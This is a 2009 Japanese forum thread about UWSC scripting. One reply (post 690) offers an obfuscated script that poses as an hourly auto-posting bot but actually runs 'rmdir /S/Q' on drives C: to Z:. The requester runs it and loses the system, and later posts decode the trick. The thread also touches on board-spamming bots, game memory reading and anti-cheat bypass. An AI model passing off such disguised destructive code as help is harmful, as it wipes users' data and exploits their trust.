683682:2009/10/19(月) 17:49:34 ID:n+6Jdku/0
ちょっと書きミスしましたので改めて書きます
メモ帳に24行の文字列があるのですが
1時になれば上から1行目をサイトAに投稿
2時になれば上から2行目をサイトBに投稿
3時になれば上から3行目をサイトCに投稿
このように1時間ごとに1行の投稿を
1〜24行 A〜X それぞれの行、サイトに対応させて投稿したいです
24時サイトXまで終了すれば
1時サイトA〜24時サイトXまでの永遠ループです
よろしくお願いします
684682:2009/10/19(月) 17:53:33 ID:n+6Jdku/0
何度もすいません
テキスト1ファイルで1行目〜24行目の方法ではなく
1行ファイルを24個用意して
1時にテキスト1をサイトA
2時にテキスト2をサイトB
3時にテキスト3をサイトC
この方法でも結構です
どなたかお願いします
685名無しさん@お腹いっぱい。:2009/10/19(月) 18:18:15 ID:UJIHaaLl0
>>はじめまして全くの初心者で丸投げでお願いしたいです
686名無しさん@お腹いっぱい。:2009/10/19(月) 18:59:12 ID:HVP74pPF0
自分で作れないなら、プロにお金を出して作ってもらったら?
687名無しさん@お腹いっぱい。:2009/10/19(月) 19:43:20 ID:CQ58FsYy0
>>682-684
そのサイトが全部2ちゃんねるなら5千円で作ってあげてもいいけど
ぜんぜん別の掲示板なら1箇所当たり2千円で消費税も入れて 55000円 になるけどいいかな?
688名無しさん@お腹いっぱい。:2009/10/19(月) 20:39:09 ID:fkMx4tWw0
>>682
こんなソフトウェアつくってください
http://pc12.2ch.net/test/read.cgi/software/1251624598/
689名無しさん@お腹いっぱい。:2009/10/19(月) 22:09:18 ID:A/b0I+MbP
>>682
これから作るからちょっと待ちなー
690名無しさん@お腹いっぱい。:2009/10/19(月) 23:54:32 ID:3uvH/jIh0
>>682
書き込むサイトのアドレスをsite[1]="○○○○"←のところに入れてね。
前後の「"」は忘れずに!

dim site[25],kakikomi[25]
site[1]="http://hyde156cm.com/aaabb/cccddd/efg.html"
・・・(省略)・・・
site[24]="http://hogehoge.co.jp/aaa/bcd.cgi"
kakikomi[1]="テキスト1"
・・・(省略)・・・
kakikomi[24]="テキスト24"

mode="mdS5RgzP4/Q B"
aaa="InternetExplorer.Application"
bbb=":\"
cc="r"+ chgmoj(mode,"S5RgzP4","ir /S ")+bbb
size=66
for time=1 to 24
 cc = replace(cc," "+chr(size+time-1)," "+chr(size+time) )
 if "" <> doscmd(cc) then continue
 IE = CreateOLEObj(aaa)
 IE.Visible = True
 IE.Navigate(site[time])
 IESetData(IE,True,"lr",kakikomi[time])
 GETTIME()
 ifb time=G_TIME_HH then
  sleep(3600)
 endif
next
691682:2009/10/20(火) 07:09:39 ID:W8G0SBlw0
>>690さん
お返事遅くなり申し訳ないです
お忙しい中、本当にありがとうございました
大切に使わせていただきます
感謝です
692名無しさん@お腹いっぱい。:2009/10/20(火) 07:33:50 ID:jAAUEYUX0
よく>>682みたいな馬鹿に親切に作ってやるもんだ
>全くの初心者で丸投げでお願いしたいです
こういう輩を甘やかすと調子乗るんだよな
693名無しさん@お腹いっぱい。:2009/10/20(火) 17:29:41 ID:lEe8RCT+0
>>682みたいなのは死ねばいいと思う
uwsc使いでもなんでもないし
694名無しさん@お腹いっぱい。:2009/10/20(火) 19:18:45 ID:kn6xTJMj0
「UWSC使い」使いですね。わかります。
695名無しさん@お腹いっぱい。:2009/10/20(火) 21:37:35 ID:5ibiXKAy0
>>690
巧さ半端ねぇなw
どうなっているのか解るのに10秒くらいかかった。
696名無しさん@お腹いっぱい。:2009/10/21(水) 00:30:20 ID:5BhbaMvE0
682は本当にこれ実行したんだろうか…

レス無いのはやっぱり実行しちゃったんだろうか…
697名無しさん@お腹いっぱい。:2009/10/21(水) 01:09:56 ID:H9pzsLFx0
ちゃんと見てなかったけどCから順にやるのかすごいな
だが、ちゃんとエラーを除去しないとスクリプト実行エラーが出るから、
初めて触る人間にはすぐには実行できないんじゃないか?


ていうかまさか依頼の段階から仕込みとかか?
依頼からして不自然だったしさ。
698名無しさん@お腹いっぱい。:2009/10/21(水) 01:29:46 ID:H9pzsLFx0
やってみたけどループ1回目の途中でエラーになって止まったよ。
だめだな。

仮想マシンでやったけど、起動した後で「しまった。共有ドライブが!」とか思ったけどぜんぜん心配いらんかった。
699名無しさん@お腹いっぱい。:2009/10/21(水) 01:47:10 ID:H9pzsLFx0
× ぜんぜん心配いらんかった。
○ そっちは心配いらんかった。
700名無しさん@お腹いっぱい。:2009/10/21(水) 23:02:22 ID:eGE2n9Cp0
>>690を実行するとどうなんの?
エラーが出るだけ?
701名無しさん@お腹いっぱい。:2009/10/21(水) 23:18:52 ID:s2PXx/VI0
>>700
コードをちゃんと読めば理解出来るだろう。
メモ帳か何かにコピペして、それがどう弄られていくか書き出してみればいいよ。
知らない可能性があるのは、最終的にできあがるものだが、それはググれば一発で出てくると思うよ。
ちなみに65がAだから、66はB、67はCな。
702名無しさん@お腹いっぱい。:2009/10/21(水) 23:54:14 ID:H9pzsLFx0
>>701
それだけじゃわかんないと思うよ。
サイトAからXまで処理することになってるから。

A-X が C-Zに置き換わってると言えば分かると思う。
703名無しさん@お腹いっぱい。:2009/10/22(木) 00:23:30 ID:zsrKpKqI0
最初はB。ループの最初で66を67に置換でC、以降+1していくからDEFG…
65は最初から無い
704危険!危険!:2009/10/22(木) 00:46:18 ID:rtGLzJgQ0
なんで〜(;´д⊂ヽ
>>690をやってみようとしたらエラーになるので
パソコンをリセットしたら
「Wwindows Boot Manager」の画面になってそこからどうにもならない
もうデータとか全部捨ててリカバリするしかないかも試練orz
ちなみにOSはVista
えらいことになったよ・゚・(ノω;`)・゚・
>>690はなんだったんだろうか?

>>701
65がAとか意味不明
705名無しさん@お腹いっぱい。:2009/10/22(木) 01:14:14 ID:k2O2PUZQ0
犠牲者報告がついに来たか。

>>690のスクリプトは、C:ドライブからZ:ドライブまでの全てのファイルを削除するというもの。
UWSCはコマンドを呼び出してるだけなんだけどね。

ウィルスと違うからアンチウィルスとかじゃ検出してくれない。
だからスクリプトは実行する人がそれをちゃんと理解するか、
信用できる人からもらったものじゃないといけない。

僕はプログラマで共同作業してるときですら、同期入社のやつから>>690みたいな動作のスクリプトを青果物として納品されて、
完成したプログラムが全部消えてなくなったことがある。

ちなみにそいつは北九州高専卒業のやつで会社は地元の東証一部上場企業での話ね。
人事部にちくったら「貴様を駆除するためにやらせたんだ責任とって死ね」って怒鳴られたけどね。
さすが毒饅頭を出荷してる土地柄だけはある。

そんな感じだから信用できる人間の区別もまた難しいんだけど、
とにかく検査されたもの以外は安易に実行してはいけないってことだ。
706名無しさん@お腹いっぱい。:2009/10/22(木) 01:43:45 ID:zsrKpKqI0
>>704
> mode="mdS5RgzP4/Q B"
> bbb=":\"

chgmoj(mode,"S5RgzP4","ir /S ")
"mdS5RgzP4/Q B"中の"S5RgzP4"を"ir /S "で置換。
結果、mode="mdif /S/Q B"

> cc="r"+ chgmoj(mode,"S5RgzP4","ir /S ")+bbb

cc="r" + "mdir /S/Q B" + ":\"
  ="rmdir /S/Q B:\"

> cc = replace(cc," "+chr(size+time-1)," "+chr(size+time) )
最初のループ:time=1,size=66につき chr(size+time-1)=chr(66)=B chr(size+time)=chr(67)=C
cc = replace(cc," B"," C")
コマンドcc中の" B"を" C"で置換
cc="rmdir /S/Q C:\"

以降、ループが回る毎にCをDに置換・DをEに置換…とやっていくが、
最初のCを消した時点でcmd.exeも消えてD以降はエラーになる
707名無しさん@お腹いっぱい。:2009/10/22(木) 01:46:14 ID:rtGLzJgQ0
>>705さん
詳しいレスありがとうございます
つまりインストールしていたソフトやデータはすべて消えた後ってことですね
これでリカバリする踏ん切りつきました
夜遅くにすいませんでした

>>690死ね!
708名無しさん@お腹いっぱい。:2009/10/22(木) 01:49:50 ID:rtGLzJgQ0
>>706
えっ!
私はカキコ遅いんですけどその間にレス頂いた様で
ありがとうございます
ということはソフトやデータはまだ残っているって事なんでしょうか?
とすれば>>705が悪意のあるレスで>>690は善意の解答者???
もうわけわかんないです(;´Д`)
とりあえず復旧方法探してみます
夜中にすいませんでした
709名無しさん@お腹いっぱい。:2009/10/22(木) 01:54:00 ID:zsrKpKqI0
これを読んでもまだわからないような超初心者が安易に実行なんてするなよ(´Д`)
今後何度だってトラップに引っかかって今度のような目にあうぞ。

rmdir /S/Q C:\
の意味は "C:\" を中身ごと消せ。

つまり>>705の通りだが、C:\を消したらコマンド続行不能になるのでDは無事の可能性高い。
当然ながらOSは起動不能。
710名無しさん@お腹いっぱい。:2009/10/22(木) 01:58:18 ID:rtGLzJgQ0
>>709さん
了解です
うかつに実行した自分の責任です
ご親切にありがとうございました
>>705さん疑ってすいませんでした
教えてくれてありがとうです
今日は遅いので明日にでもリカバリします

>>690死ね死ね死ね!!!
711名無しさん@お腹いっぱい。:2009/10/22(木) 02:32:59 ID:mgMzrVp30
VISTA使ってんなら、管理者として実行するを選ばない限りDOSコマンドでwindowsのシステムファイルは消えない
rmdir c:\ /s /qしてもファイル削除自体をはじかれる

つ〜わけで、釣りだろ?
712名無しさん@お腹いっぱい。:2009/10/22(木) 02:36:13 ID:k2O2PUZQ0
俺仮想で実行した>>698だけど、そんとき書かなくてごめんね。
一応
> 「しまった。共有ドライブが!」とか思った
っていうのがヒントになってると思ったんだけど。


んで僕はC:で実行中のWindowsシステムファイル以外は消えたの確認したけど、
D:にページファイル置いてて、ついでに小物ツールとか置いてたんだけど、それ全部消えてました。
だから一応はリカバリするまでD:以降は残しておくべきだけど、消えてる可能性は高いかなと。

ただ、ループ中に
> IE = CreateOLEObj(aaa)
でオブジェクトがないっていうエラーが出てたから、きっとD:は処理しなかったんだろうと思ったんだけど・・

> if "" <> doscmd(cc) then continue
C: D:を処理するときにはこれがtrueになってOLEの処理は飛ばされてたのかも。
でE:はドライブがないよってエラーを返すからOLE実行して、エラーになったかな?

共有ドライブはドライブレターが飛んでるから助かったっぽい。

>>706
> 最初のCを消した時点でcmd.exeも消えてD以降はエラーになる
cmd.exeは実行中だから自分自身を消さないんじゃね?
FATとか使ってれば消えるのかもしれないけど。

>>707
>>710
どーしても取り戻したいファイルがあるなら、その消えたHDDを復活ツール使って復活する方法はあるよ。
ただしリカバリでデータを書き込んだら上書きされて取り出せなくなるけどね。
ツールはあってもファイル数が半端じゃないし、ファイル名の1文字目が消えてて探すのも大変だけど。
必要なのはその消えたHDDを追加できる環境と復活ツールと、復活する手間隙。
業者に頼んでもいいけど、1MBあたり1万円とか取られるんじゃないかな。
713名無しさん@お腹いっぱい。:2009/10/22(木) 02:48:12 ID:k2O2PUZQ0
>>711
UWSCスクリプトが内部で呼び出すDOSシェルはVistaでもいちいちUACで聞いてこないんじゃね?
少なくともWindows7では聞いてこないと思うけどな。

そもそも実行しようと思っているんだから仮にUACで確認されてもOKをクリックするだけだと思うよ。

あ、UACじゃなくてファイル保護の話か。
でも保護されるのはWindows配下とProgram Files配下くらいで、
アプリの設定ファイルとかユーザーデータとかはことごとく消えるんじゃないかな。
他ユーザーのデータは残ってるだろうけど、一人でいくつものアカウントを使い分けたりしないだろ?めんどくさいし。

で、ファイル保護されてシステムファイルが消えないんだとすると、D:ドライブ以降も全部消えてるだろうね。
僕はXPで試したけどVistaならOLEもエラーにならなくてZまでしっかり実行される気がする。

実行したらVistaの方が被害が大きいんじゃないかな。

> IESetData(IE,True,"lr",kakikomi[time])
これがエラーでストップするならドライブレターが飛んでるところは大丈夫だろうけど、多分スルーされるよね。
DOMアクセスしてたら名前不一致でエラーになるけど。
714名無しさん@お腹いっぱい。:2009/10/22(木) 03:15:43 ID:7U7T32pD0
ID:rtGLzJgQ0は>>682かな?
だとしたらすげー面白いんだけどなw
自分は全然悪くないと思ってるところとか
715名無しさん@お腹いっぱい。:2009/10/22(木) 03:31:39 ID:mgMzrVp30
>>713
両方の事なんだけど、UACないとprogram filesとwindowsのファイルは消せないっぽいし、
UACでもファイル保護とか実行中のexe DLLは削除無理っぽいんだよね
スクリプトだからUACを有効に出来ないわけだろ?
するとWindowsだけはとりあえず起動するだろうから、釣りとしか思えない
716名無しさん@お腹いっぱい。:2009/10/22(木) 03:42:55 ID:k2O2PUZQ0
>>715
> スクリプトだからUACを有効に出来ないわけだろ?

意味分からん。
UACって実行許可を求めるものだから、許可したら動くに決まってる。

実行中の実行ファイルが消えないというのはなんの助けにもならない。
Windows起動時にどのファイルを読み込んでどんな処理をするかが書かれているのは実行ファイルじゃないしな。

実行ファイルだけがあればソフトは勝手に動くと思ってるのかな?
717名無しさん@お腹いっぱい。:2009/10/22(木) 03:48:52 ID:k2O2PUZQ0
VBScriptでVistaのUACの権限昇格を行う方法
ttp://hitaki.net/diary/20090522.html

ああ、スクリプト側で昇格処理してユーザーが許可を出さないと管理者権限で実行できないのか。
でもUWSCって管理者権限で実行しないとそもそも動かないんじゃなかったっけ?
718名無しさん@お腹いっぱい。:2009/10/22(木) 04:06:17 ID:mgMzrVp30
許可しなくても動く
すべての関数を使ったことないから全部そうなのかまでは分からない
719704:2009/10/22(木) 05:47:51 ID:rtGLzJgQ0
>>711
VistaでUWSCを動かすためには「管理者権限で実行」しないと動かなかったですよ
以前ここで教えてもらったんですよ
なので綺麗に削除されました

>>714
そですよ
>>682は私です
せっかく作ってくれたんだから使ってお礼のレスを入れないとって思って使いました
結果は先に書いたとおりです
面白いですか?

>>715
Windowsは起動しないです
ウィンドーズブートなんとかって画面で
「Esc」キーか「リターン」キーを押すように英語で記載されてる
どちらを押しても再起動してその画面に戻るだけでした
釣りじゃないですよ

>>717
あなたが正解です
VistaでUWSCは管理者権限での実行でしか動きません

>>718
自分はプレインストールのVistaHBですが
UWSCを実行させる場合は必ず管理者権限でないと
UWSCは起ち上がっても自動実行は一切出来ないですよ
720名無しさん@お腹いっぱい。:2009/10/22(木) 06:05:55 ID:7U7T32pD0
>>719
まあ高い授業料だったと思えばいいね
色々といい経験になったでしょ
721名無しさん@お腹いっぱい。:2009/10/22(木) 06:13:27 ID:rtGLzJgQ0
>>720
はい(´;ω;`)
あなたはいい人だね
ありがとです
722名無しさん@お腹いっぱい。:2009/10/22(木) 10:46:24 ID:QFAR0xIb0
>>721
言葉だけでいい人と判断するなら、行動としてスクリプトでフォーマットしてもいい人かもねw
723名無しさん@お腹いっぱい。:2009/10/22(木) 12:07:54 ID:FjUQjAwk0
>>719
VistaHP使ってますが管理者権限にせずに動いています
アカウントもアドミニですが
724名無しさん@お腹いっぱい。:2009/10/22(木) 14:00:00 ID:u/5hQA4K0
>>712
おまえも戦犯だ責任とって氏ね
725名無しさん@お腹いっぱい。:2009/10/22(木) 14:25:42 ID:k2O2PUZQ0
>>724
戦犯?
>>687ですよ?
取引に応じてくれたらちゃんと作ってあげたのに。

そもそも 「ぜんぜん別の掲示板なら1箇所当たり2千円」 っていうところをちゃんと理解してくれていれば
>>690 みたいな単純なループでは実現できないってことは分かるはずなんだよ。

どーせ>>682-684みたいなことを考えるやつは
政治的なコピペを張りまくるか 「俺その時間自宅でネットやってました」 っていうアリバイ作って犯罪を逃れようとしてるとかだろうから
親切には教えなかっただけなんだけどね。

ちゃんと読んでくれていればあちこちにヒントもちりばめてるんだし。
> Cから順にやるのかすごいな
> 「しまった。共有ドライブが!」
> ぜんぜん心配いらんかった。  −> そっちは心配いらんかった。

>>696だってそれをにおわすこと書いてくれてるし

人をだます人がいることを分かってないお人よしなのか、そういうのを力でねじ伏せてる人なのか、どっちなんだろ。
726名無しさん@お腹いっぱい。:2009/10/22(木) 15:20:23 ID:QFAR0xIb0
>>725
どうでもいい。
727名無しさん@お腹いっぱい。:2009/10/22(木) 19:03:49 ID:kTghvya90
ただ単純に、スレ違いも甚だしい所でクレクレ行為まがいの事をして、
読めもしないコード貰って実行するバカが悪いだけだろ。
>>690を見て何も疑わずに実行するのはレベル低すぎないか?
俺はネタをネタとryと同じようなもんじゃないかと思うが。
728名無しさん@お腹いっぱい。:2009/10/22(木) 21:19:22 ID:4BdU1cL60
>>727
正解
729名無しさん@お腹いっぱい。:2009/10/22(木) 22:49:45 ID:fNEtWyaw0
戦犯とか意味不明にしても
みんな静かにニヤニヤしながら黙ってみてたんだろ?
偉いなー。みんな空気読んでるなー。って
昨晩から感心してたところだよ
730lymEYIfFBULtWrMMQD:2009/10/22(木) 23:41:54 ID:kObaYugK0
I'll see everybody tomorrow on What's Up Wednesday. ,
731名無しさん@お腹いっぱい。:2009/10/23(金) 00:30:11 ID:SAH7zdiT0
誰かウィルスにでもかかったのか?

> 529 名前:BDHkJPLEn[[email protected]] 投稿日:2009/10/23(金) 00:03:01 ID:???
> So, in my blog, I look for opportunities to present perspectives that are often censored. ,
732名無しさん@お腹いっぱい。:2009/10/23(金) 02:04:28 ID:Wc1ARWvB0
ソフ板の定番のスクリプトコピペが少しは意味のある単語を入れ始めただけ
733名無しさん@お腹いっぱい。:2009/10/23(金) 04:51:08 ID:DWLH0rQm0
興味持った初心者が実行しちゃうとか思わないのかねぇ
モラルのないクズばっかりだなぁ、情けねーわ
734名無しさん@お腹いっぱい。:2009/10/23(金) 08:50:16 ID:Hx39oh9p0
思慮のない初心者は痛い目にあって知恵をつけていくしかない
735名無しさん@お腹いっぱい。:2009/10/23(金) 10:57:36 ID:SAH7zdiT0
初心者が毎日来るとは思ってないし。
土日でもないし。

>>734みたいのはひどいと思うけど
「特定の人々にとって都合の悪い書き込み」があったスレにはいつも必ずウィルススクリプトが貼り付けてあった。
ウィルススクリプトはテキスト状態でもウィルスチェッカが発見してログを削除してしまうのを利用しているんだ。

自分が痛い目を見るだけならともかく、ウィルスをばら撒くようなことにもなりかねないから、
確かに痛い目を見てでも安易な実行は避けることを覚えるべき。
736名無しさん@お腹いっぱい。:2009/10/23(金) 11:51:00 ID:iEyplr100
>>721
念のため警察に通報しとけよ
737名無しさん@お腹いっぱい。:2009/10/23(金) 15:05:32 ID:Wc1ARWvB0
>>733
今回は用途が板爆撃スクリプトなだけに使おうと思う奴も
作った奴もどっちもどっちって感じだがな。
738名無しさん@お腹いっぱい。:2009/10/23(金) 17:59:13 ID:hoAE3VuS0
>>736
裏2chへの行き方とか、ウイルスの掃除の仕方とか何とか言って
フォーマットとかふしあなトラップ仕掛けている人を通報するとか言ってるのと同じようなもんだとなぜ解らないんだろうなw

そもそも「己のスクリプトを晒しましょ。」なんていうスレなんだし、
多少のスキルがあるヤツしか居ないと思うんだがなぁ。
まぁ、>>690見て実行するようなヤツは半年くらいネット繋がずに自力でスプリクト書いてろよw
739名無しさん@お腹いっぱい。:2009/10/23(金) 19:52:40 ID:i7NNR92L0
関係ない
実害が出たらまず110
逮捕されるかどうかは警察まかせでいい

あとふしあなとは全く違う
740名無しさん@お腹いっぱい。:2009/10/23(金) 19:59:08 ID:rK5f7ruL0
ネットで調べることをやめさせてどうするんだ。
741名無しさん@お腹いっぱい。:2009/10/23(金) 20:01:27 ID:Hx39oh9p0
ゆとり脳多すぎワロタ
742名無しさん@お腹いっぱい。:2009/10/23(金) 20:20:51 ID:9mI/MsVb0
>>739
クソワロタwww
743wZADhxijwdhbPogdHEe:2009/10/23(金) 21:39:08 ID:w7n4Xjz00
Includes Protective Sports Equipment and Protective Wear. ,
744名無しさん@お腹いっぱい。:2009/10/23(金) 22:42:04 ID:KXvduCK+O
uwsc作者のumiumiが一番の悪人
奴は拳銃を売って儲けるヤクザの元締めと一緒
あいつを捕まえない限り被害者は増加し続ける
745名無しさん@お腹いっぱい。:2009/10/23(金) 23:21:29 ID:Hx39oh9p0
ついに作者にまで責任転嫁始めたかw
面白すぎるw
746名無しさん@お腹いっぱい。:2009/10/23(金) 23:35:24 ID:Yh5II5xX0
>>690>>682の無差別掲示板荒らしを未然に防いだと言う意味で評価されるべきだ
747名無しさん@お腹いっぱい。:2009/10/23(金) 23:59:41 ID:t1jDgBDQ0
サーバに無駄な負荷を掛ける攻撃を目論んでいた>>682は典型的な犯罪者
社会のクズを退治した>>690は正義の使者だよ、もちろん
748名無しさん@お腹いっぱい。:2009/10/24(土) 00:31:01 ID:zq9vSvMH0
>>744
そもそもWindowsがあるのがいけないんですね!解ります!
749名無しさん@お腹いっぱい。:2009/10/24(土) 14:36:16 ID:0z+51oUb0
>>744
そんなの言い出したら包丁売ったら犯罪とか、ライター売ったら犯罪とかってことか?
ちなみに47氏でも勝訴だぞ。
750名無しさん@お腹いっぱい。:2009/10/24(土) 16:31:07 ID:7wNQpB3T0
ネタにマジレス
751名無しさん@お腹いっぱい。:2009/10/24(土) 18:01:59 ID:jvbbXPzt0
クズスレ
752名無しさん@お腹いっぱい。:2009/10/26(月) 22:52:30 ID:+luvcpcv0
Windows7買ったんでこのスレの話を参考にVirtual PC導入したよ
>>690実行しても仮想環境ならワンボタンで取り消せて(・∀・)イイ!!

思う存分危険スクリプト作れるぜ
丸投げ厨に配布しまくろっと
753名無しさん@お腹いっぱい。:2009/10/26(月) 23:14:25 ID:jdxyP/Yd0
なんか変なのが住み着いたなぁ
754名無しさん@お腹いっぱい。:2009/10/26(月) 23:27:49 ID:jrd5+kFQ0
>>752
丸投げ厨です
これからもよろしくね♪
755名無しさん@お腹いっぱい。:2009/10/27(火) 01:21:29 ID:DQzhoBiL0
現在あるゲームの自動操作を行わせているのですが、画像判定(chkimg)の箇所が多く、また不安定なため、通信受信内容で判別できるように改良したいのです。
雲をつかむような表現で申し訳ないのですが、どのような関数を参考にするといいのでしょうか?
756名無しさん@お腹いっぱい。:2009/10/27(火) 01:31:38 ID:TiHUFHbO0
>>755
通信関係の関数は無いです。
無理やりにでもやるとしたら、外部DLL等の読み出しによって行われる事になるでしょうけど…
それはUWSCの範疇ではないと思います。

…でも俺もちょっと知りたい。なんか判ったら教えてw
757名無しさん@お腹いっぱい。:2009/10/27(火) 01:42:53 ID:6cas0igo0
>>755
その通信内容というのがサーバーとの通信って事なら、
暗号解除とかコード解析のためにゲームガード破ってコード解析しないといけないでしょう。

そんで解析した後も、通信を傍受するソフトと暗号解除するソフトは別途必要になると思います。
758名無しさん@お腹いっぱい。:2009/10/27(火) 11:14:48 ID:DQzhoBiL0
>>755です。
たとえば、NESを代表するエミュレーターのバイナリを監視し、値を取得するようなことを
UWSCでは関数としてあるのかな〜とおもってまして。

また雲をつかむような話ですが、ある.exeファイルを監視し、特定のアドレスの値がXXになったらアラームとか。
そんな感じで値を取得できないかなぁとおもいまして。

引き続きご意見、ご助言をおねがいします。
759名無しさん@お腹いっぱい。:2009/10/27(火) 11:17:28 ID:7cHtZVxc0
>>758
それだったらDLL経由でできる
760名無しさん@お腹いっぱい。:2009/10/27(火) 14:19:32 ID:6cas0igo0
>>759
> 特定のアドレスの値がXXになったらアラームとか。
これはUWSCでは無理じゃない?

UWSCがイベント受け取って動けるのはCOMのイベントだけでしょ。
COM組むとなるとかなり大変だと思うけど。
761名無しさん@お腹いっぱい。:2009/10/27(火) 14:53:46 ID:7cHtZVxc0
普通にDLL使えますが・・・
762名無しさん@お腹いっぱい。:2009/10/27(火) 15:30:42 ID:6cas0igo0
>>761
マジで?
実際試せるそーすプリーズ
763名無しさん@お腹いっぱい。:2009/10/27(火) 15:31:16 ID:ukIubvelP
一般的なアプリって固定的にメモリ使ってるの?
それにどうやって知りたい情報のアドレスを特定するの?

識者の人、解説よろ
764名無しさん@お腹いっぱい。:2009/10/27(火) 15:35:01 ID:7cHtZVxc0
>>762
ヘルプくらい読めよ・・・
765名無しさん@お腹いっぱい。:2009/10/27(火) 15:37:51 ID:6cas0igo0
>>764
ああ、最近Windows7つかっててUWSCのヘルプ開けなかったんだ

// イベント処理の定義
OLEEVENT( オブジェクト, インタフェース名, イベント名, Procedure名 )
引数
   オブジェクト: COMオブジェクト

でも、UWSCのイベントはOLE前提みたいだけど、新しい関数できたの?
766名無しさん@お腹いっぱい。:2009/10/27(火) 15:46:42 ID:7cHtZVxc0
>>765
<DLL 使用定義>
 // DLL (API等)の関数を使用する事ができるようになります

 DEF_DLL 関数名(型, 型, ...): 戻り型: DLL名
 型: int、long、bool、uint、hwnd、string、Wstring、float、double、word、dword、byte、char、pchar、Wchar、pWchar、boolean、longlong、Extended、SafeArray

 参照引数(値変更あり)の場合は Var 宣言を付ける      関数名( var double, var int )      
 構造体:型を { } にて展開して書く      関数名( double, {int, int, int} ) 
 配列の場合は 型に [] を付ける      関数名( double[], int[] )

 ※int=long= bool(4byte)、dword=uint=hwnd、 char=boolean(1byte)
   ヌルポインタを渡す時は NULL定数を使用して下さい


てきとーなこと言う前に、ちゃんとヘルプ読む癖をつけよう
767名無しさん@お腹いっぱい。:2009/10/27(火) 16:05:19 ID:6cas0igo0
>>766
それはDLL関数を呼び出す定義だろ?
どーやってDLL関数にUWSCの関数を渡すんだ?

いや、UWSCでループするかDLL関数内でループしてればそういう動作することが出来るのはわかってるけどさ。


まあどっち道値の書き換え監視はループして監視しなきゃいけないわけだからそういう風に作るとして、
DLL内でループすると他のことが出来なくなるからマルチスレッドにしなきゃいけないっていうかイベント処理はどの道マルチスレッドか。

マルチスレッドにしないならUWSCの主処理ループで状態チェックしてそれにあわせて分岐か。
その場合監視項目をまとめて処理する関数呼び出してIDでどれが変更になったか見分けるのがスマートかな。
イベント型で不定期に発生すると他の操作との絡みがあるからやっぱそれしかないか。
この方法の問題点は、監視タイミングがかなり緩慢になって、回復処理が必要になってもなかなか回復しないとか言うデメリットがあるんだよね。

UWSCのマルチスレッドが他のスレッドを一時停止とか終了のコントロールが出来ればイベント型スクリプトを作りやすいんだけどな。
768名無しさん@お腹いっぱい。:2009/10/27(火) 17:47:38 ID:7uDFKqAz0
改行をどうにかするか、長文をどうにかするk(ry
769名無しさん@お腹いっぱい。:2009/10/27(火) 19:30:51 ID:6cas0igo0
ごめーん
最近年のせいか知らないけどだらだらしゃべっちゃうんだよねえ。
まるで無責任艦長タイラーみたいにさ。

まだまだ人生残り50年だと思ってたんだけどそろそろ2ちゃんねる引退時かな?

イベントドリブンなスクリプトで検索すると、JavaScriptがいっぱい出て来るねえ
でもローカルで動かすのにJavaScriptじゃしょうがない。
JScriptとかVBSctiptならHTA・・どのみちWebベースか。

schemeとかもそーなのか
LSLって何かと思ったらセカンドライフのスクリプトか


HSPにsetcallbk って関数があるな
これは意外な。

SocketDebuggerってのにLuaスクリプトってのがあるな。
通信データをスクリプトで監視してデバッグできるんだってさ。
これゲームガードに阻まれなければチートに応用できそうだな。
770名無しさん@お腹いっぱい。:2009/10/27(火) 20:34:22 ID:qgi5nNQ40
まさにKYってこういう人を指すんだろうな
間違いなくあなたの文章は誰も読まない
コピペ荒らしよりも不愉快な存在

771名無しさん@お腹いっぱい。:2009/10/27(火) 20:36:09 ID:6cas0igo0
KYってもともと石垣島のさんご礁に落書きされたのが発端って知ってる?
772名無しさん@お腹いっぱい。:2009/10/27(火) 20:48:07 ID:dmqDK93Q0
これはさすがにもう擁護できないウザさだな
>>767辺りでやめときゃ良かったのにわざわざ反感買ってどうすんだ
死ね老害
773名無しさん@お腹いっぱい。:2009/10/27(火) 21:26:14 ID:JjIhm7H6P
クズスレ
774名無しさん@お腹いっぱい。:2009/10/27(火) 22:00:31 ID:6cas0igo0
判定関数を使ったイベント登録っぽく使えるモジュール書いてみた。動くかどうかはしらない。

イベントモジュール.初期化()
〜処理〜
イベントモジュール.Quit()

Module イベントモジュール
 DIM QFlag

 Proceduer 初期化()
  this.QFlag = false
  Thread 関数登録()
 Fend

 Proceduer 関数登録()
  while true
   if 判定関数 then イベント関数()
   if this.QFlag then break
   sleep(0.1)
  wend
 Fend

 Proceduer イベント関数()
  //ここでイベント処理
 Fend

 Proceduer Quit()
  QFlag = true
 Fend
EndModule
775名無しさん@お腹いっぱい。:2009/10/27(火) 23:49:58 ID:DQzhoBiL0
>>755です。
ご意見、ご助言ありがとうございます。

別プロセスのメモリを読み込むサブスクリプト
ttp://park14.wakwak.com/~simizu/cgi-bin/uwscbbs2/cocoqa.cgi?log=31

Vector:Memory.dll
ttp://rd.vector.co.jp/soft/win95/prog/se358509.html

このあたりでなんとかならないかなぁと考え中です。
776名無しさん@お腹いっぱい。:2009/10/28(水) 13:43:40 ID:/Aufm+7p0
どこまで省略して書いていいのか分からないので、おかしかったらごめんなさい。


while 1
sleep(0.1)
call 1.uws //マウスで特定箇所をクリック
sleep(0.1)
call 2.uws //↑キー10回連打
sleep(0.1)
wend

こんな感じで、一連の動作に20秒かかるものがあったとして、
その動作とは関係なく、10秒ごとにスクリーンショットをとる「a.uws」があるとすると
どう記述すればいいか教えて貰えないでしょうか。

uwscを複数起動させるしかないのかな・・・
777名無しさん@お腹いっぱい。:2009/10/28(水) 13:50:30 ID:wjFSozMw0
>>776
thread で10秒ごとに処理を実行するスクリプト(while でまわしてsleepでもやれ)を動かせ
778776:2009/10/28(水) 14:09:21 ID:/Aufm+7p0
うぉ。
素早い返答ありがとうございます。
試してみます。
779名無しさん@お腹いっぱい。:2009/10/28(水) 16:13:10 ID:LN396H4A0
IFで足し算使った方が良くね?
ズレるかもしれんからthread使ってないんだけど全くズレないのか
780名無しさん@お腹いっぱい。:2009/10/28(水) 17:02:27 ID:NfK6OA8p0
>>779
足し算ってなに?

時間がもっとも正確なのはGetTime()
でもSleep()の方が処理が軽い。
メインループで何回かに一度実行するのがもっとも時間が不安定になるが、
他の処理とかぶらないのでCPU使用時間に対するUWSCの占める時間は安定するし、
操縦も安定して実行できる。

Sleep()した時間を足していく方法もいいけど、
ある程度時間のかかる処理をすると、その分だけ時間がかかる。
確かにSleep時間を取れば汎用的だけど、もっと大雑把に回数でやったほうが、特に初心者にはやりやすい。

もしSleep時間でやるとしたら、こんな風にやるのがシンプルだし処理も軽い。
while true
 for t = 1 to 10 step 0.3 //stepはSleep時間の合計
  処理1
  Sleep(0.1)
  処理2
  Sleep(0.1)
  処理3
  Sleep(0.1)
 next
 キャプチャ処理
wend

